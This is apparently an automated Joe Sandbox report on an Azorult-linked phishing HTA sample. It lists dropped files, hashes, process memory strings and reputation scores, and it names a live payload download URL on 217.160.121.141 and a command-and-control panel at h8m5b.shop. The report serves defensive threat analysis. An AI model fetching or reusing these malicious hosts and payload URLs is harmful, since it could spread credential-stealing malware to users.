C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-multibyte-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-private-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
h8m5b.shop	9%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://ip-api.com/json	0%	URL Reputation	safe
http://ip-api.com/json	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2.C:	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2.C:	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://g.live.com/odclientsettings/Prod.C:	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://217.160.121.141:8030/5643254657/Order-63729r.exe-OutFileC:	7%	Virustotal		Browse
https://g.live.com/odclientsettings/ProdV2	0%	Virustotal		Browse
http://h8m5b.shop/ML341/index.phpl	4%	Virustotal		Browse
https://dotbit.me/a/	1%	Virustotal		Browse
http://h8m5b.shop/	9%	Virustotal		Browse
http://217.160.121.141:8030	5%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://h8m5b.shop/ML341/index.phpVersion	4%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
http://217.160.121.141:8030/5643254657/Order-63729r.exe	11%	Virustotal		Browse
http://h8m5b.shop/ML341/index.phpAx	4%	Virustotal		Browse
http://h8m5b.shop/ML341/index.php	14%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
h8m5b.shop	104.21.14.133	true	true	9%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://h8m5b.shop/ML341/index.php	true	14%, Virustotal, Browse	unknown
http://217.160.121.141:8030/5643254657/Order-63729r.exe	true	11%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	false	URL Reputation: safe	unknown
http://217.160.121.141:8030/5643254657/Order-63729r.exe-OutFileC:	powershell.exe, 00000001.00000002.1675099699.00000000043E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1680446730.0000000008380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1678357828.0000000006DA4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1674043907.00000000003E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1674401860.0000000000892000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1674217504.00000000007E8000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse	unknown
http://ip-api.com/json	Order160311_Reference.exe, 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Order160311_Reference.exe.1.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.1677554643.000000000598D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com0	Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	false	URL Reputation: safe	unknown
https://dotbit.me/a/	Order160311_Reference.exe, 00000004.00000002.1781460189.0000000000401000.00000020.00000001.01000000.0000000E.sdmp, Order160311_Reference.exe.1.dr	false	1%, Virustotal, Browse	unknown
https://support.office.com/article/94ba2e0b-638e-4a9	Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.3.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737466602.00000000007A2000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Order160311_Reference.exe, 00000004.00000003.1781232905.00000000020AC000.00000004.00001000.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737531385.000000000078E000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737730227.000000000078B000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781273035.000000000078C000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1739445525.00000000020A4000.00000004.00001000.00020000.00000000.sdmp, 53130462903731944722463.tmp.4.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.3.dr	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.3.dr	false	0%, Virustotal, Browse	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000001.00000002.1675302087.0000000004921000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://h8m5b.shop/ML341/index.phpd	Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	53130462903731944722463.tmp.4.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000001.00000002.1677554643.000000000598D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1677554643.000000000598D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://h8m5b.shop/ML341/index.phpl	Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	true	4%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.phpp	Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://h8m5b.shop/ML341/index.phpv	Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1675302087.0000000004921000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://217.160.121.141:8030	powershell.exe, 00000001.00000002.1675302087.0000000004B49000.00000004.00000800.00020000.00000000.sdmp	true	5%, Virustotal, Browse	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000003.00000003.1652667632.0000015B7E502000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1677554643.000000000598D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://217.160.121.141:8030/5643254657/Order-63729r.e$	mshta.exe, 00000000.00000002.2870687040.00000000004B5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://h8m5b.shop/	Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	true	9%, Virustotal, Browse	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.4.dr	false	0%, Virustotal, Browse	unknown
http://h8m5b.shop/ML341/index.phpB	Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000753000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000753000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://go.mic	Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	false	0%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1675302087.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1675302087.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000001.00000002.1675302087.0000000004F35000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.thawte.com0	Order160311_Reference.exe, 00000004.00000003.1780655867.0000000003EA0000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3.dll.4.dr, nssdbm3.dll.4.dr	false	URL Reputation: safe	unknown
http://h8m5b.shop/ML341/index.phpVersion	Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000724000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000725000.00000004.00000020.00020000.00000000.sdmp	true	4%, Virustotal, Browse	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1677554643.000000000598D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 00000003.00000002.2872449129.0000015B7E200000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Order160311_Reference.exe, 00000004.00000003.1781232905.00000000020AC000.00000004.00001000.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781663514.0000000000792000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737531385.000000000078E000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1737730227.000000000078B000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1781273035.000000000078C000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000003.1739445525.00000000020A4000.00000004.00001000.00020000.00000000.sdmp, 53130462903731944722463.tmp.4.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1675302087.0000000004A76000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://ac.ecosia.org/autocomplete?q=	Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	false	URL Reputation: safe	unknown
http://crl.microTGYU#	powershell.exe, 00000001.00000002.1674401860.00000000008D4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000003.00000003.1652667632.0000015B7E502000.00000004.00000800.00020000.00000000.sdmp, edb.log.3.dr	false	0%, Virustotal, Browse	unknown
https://support.microsoft.c	Order160311_Reference.exe, 00000004.00000003.1781286419.0000000000779000.00000004.00000020.00020000.00000000.sdmp, Order160311_Reference.exe, 00000004.00000002.1781601184.0000000000779000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://h8m5b.shop/ML341/index.phpAx	Order160311_Reference.exe, 00000004.00000003.1781222380.00000000020A0000.00000004.00001000.00020000.00000000.sdmp	true	4%, Virustotal, Browse	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	53130462903731944722463.tmp.4.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Order160311_Reference.exe, 00000004.00000003.1737071004.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, 53130313988252185246271.tmp.4.dr, 5313015326551881017357.tmp.4.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.14.133	h8m5b.shop	United States		13335	CLOUDFLARENETUS	true
217.160.121.141	unknown	Germany		8560	ONEANDONE-ASBrauerstrasse48DE	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1531348
Start date and time:	2024-10-11 04:09:47 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Order160311_Reference.hta
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winHTA@7/62@1/3
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.102.46.111
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:10:35	API Interceptor	2x Sleep call for process: svchost.exe modified
22:10:36	API Interceptor	15x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.14.133	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	h8m5b.shop/ML341/index.php
104.21.14.133	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse	h8m5b.shop/HH341/index.php
217.160.121.141	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	217.160.121.141:8030/5643254657/Order-63729r.exe
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse	217.160.121.141:8030/5643254657/Order-63729r.exe
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	217.160.121.141:8030/5643254657/Order-63729r.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
h8m5b.shop	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	172.67.159.45
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse	172.67.159.45
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	104.21.14.133
	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.14.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ONEANDONE-ASBrauerstrasse48DE	https://speedcarad.es/1.php	Get hash	malicious	HTMLPhisher	Browse	82.223.67.146
	alWUxZvrvU.exe	Get hash	malicious	FormBook	Browse	217.76.128.34
	3qsTcL9MOT.exe	Get hash	malicious	FormBook	Browse	217.160.0.147
	zmhPgbED7M.exe	Get hash	malicious	FormBook	Browse	74.208.236.25
	NU1aAbSmCr.exe	Get hash	malicious	FormBook	Browse	217.160.0.231
	pQGOxS84rW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	213.165.67.119
	http://gastrotrade24.org/	Get hash	malicious	Unknown	Browse	217.160.0.174
	BAJFMONYm2.exe	Get hash	malicious	FormBook	Browse	74.208.236.183
	N2Qncau2rN.exe	Get hash	malicious	FormBook	Browse	74.208.236.25
	http://lifecodigestion.com	Get hash	malicious	Unknown	Browse	217.76.142.239
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	https://click.convertkit-mail2.com/5qu5o5736ps9fmg8vef6h94dwl44sn/08hwhgud6vg92gcp/aHR0cHM6Ly9hcHAua2l0LmNvbS9mb3Jtcy9jb25maXJtP2tleT00ZjNhZDk2YjE5MDViYjJjM2YxZjhkYzUwZWI2ZjU4YWJiNmUxZTExJnNpZD05MDY1MDIxMTg0	Get hash	malicious	Unknown	Browse	104.22.70.197
	http://sycuan.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	Patrick-In service Agreement-0483___fdp.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://linkin.bio/moodyinsurance	Get hash	malicious	Unknown	Browse	172.67.170.36
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	lv961v43L3.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.96.3
	http://fastuniversaldelivery.com/	Get hash	malicious	Unknown	Browse	172.67.15.14
	https://keysmix.com/	Get hash	malicious	Unknown	Browse	104.18.28.104
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-console-l1-1-0.dll	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Est_US091024A - PICTURE.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SwiftMesaj.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Unincriminated.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PO#940894.exe	Get hash	malicious	Azorult, GuLoader	Browse
C:\Users\user\AppData\Local\Temp\C7B27BB8\api-ms-win-core-datetime-l1-1-0.dll	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Order-63729_Reference.bat	Get hash	malicious	Azorult	Browse
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse
	Payment Advice Note_Pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	HSBC_Payment.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Est_US091024A - PICTURE.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SwiftMesaj.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse
	SN890156.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Unincriminated.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PO#940894.exe	Get hash	malicious	Azorult, GuLoader	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073603160090397
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr0:KooCEYhgYEL0In
MD5:	734925CC2E2F6D93E713C5BDEE340EBD
SHA1:	97B62782D840096A4631EDC24A119B8A3E1E2023
SHA-256:	1E3F6EEBD2BD5C67054353EA8B1FC1471CD0382BB31EF755FEB4350512E063C6
SHA-512:	10331E9199FCCA2BCAA439CE2502F4F11943C204B5B76404260ACB85347CA9C92C09D026807E84DCE1C8FEB084F1F838A5BB465B6D7733E2319413A8A77BAB6D
Malicious:	false
Reputation:	low
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x60d6dcab, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221232159118727
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	12FD27B568901FF488963CA51E157532
SHA1:	A998C34E491A87F5470FA5075D5088DA7268D5EE
SHA-256:	3BF05B5A0B36A949DEE9513230DDBB202F05D8C61233B4A66E9508A17921B25C
SHA-512:	F9E34CA51EBFF43D6A46CFBFAED3C269A053F53334200A6BC344074FE5F320D0DD1EF591ACB9C658783021F3381E7922B1F81C792E02840DEEABCBF0CAD3FAA2
Malicious:	false
Reputation:	low
Preview:	`..... .......A.......X\...;...{......................0.!..........{A.$....\|-.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................g.)3$....\|K.................le.$....\|-..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07664017863223768
Encrypted:	false
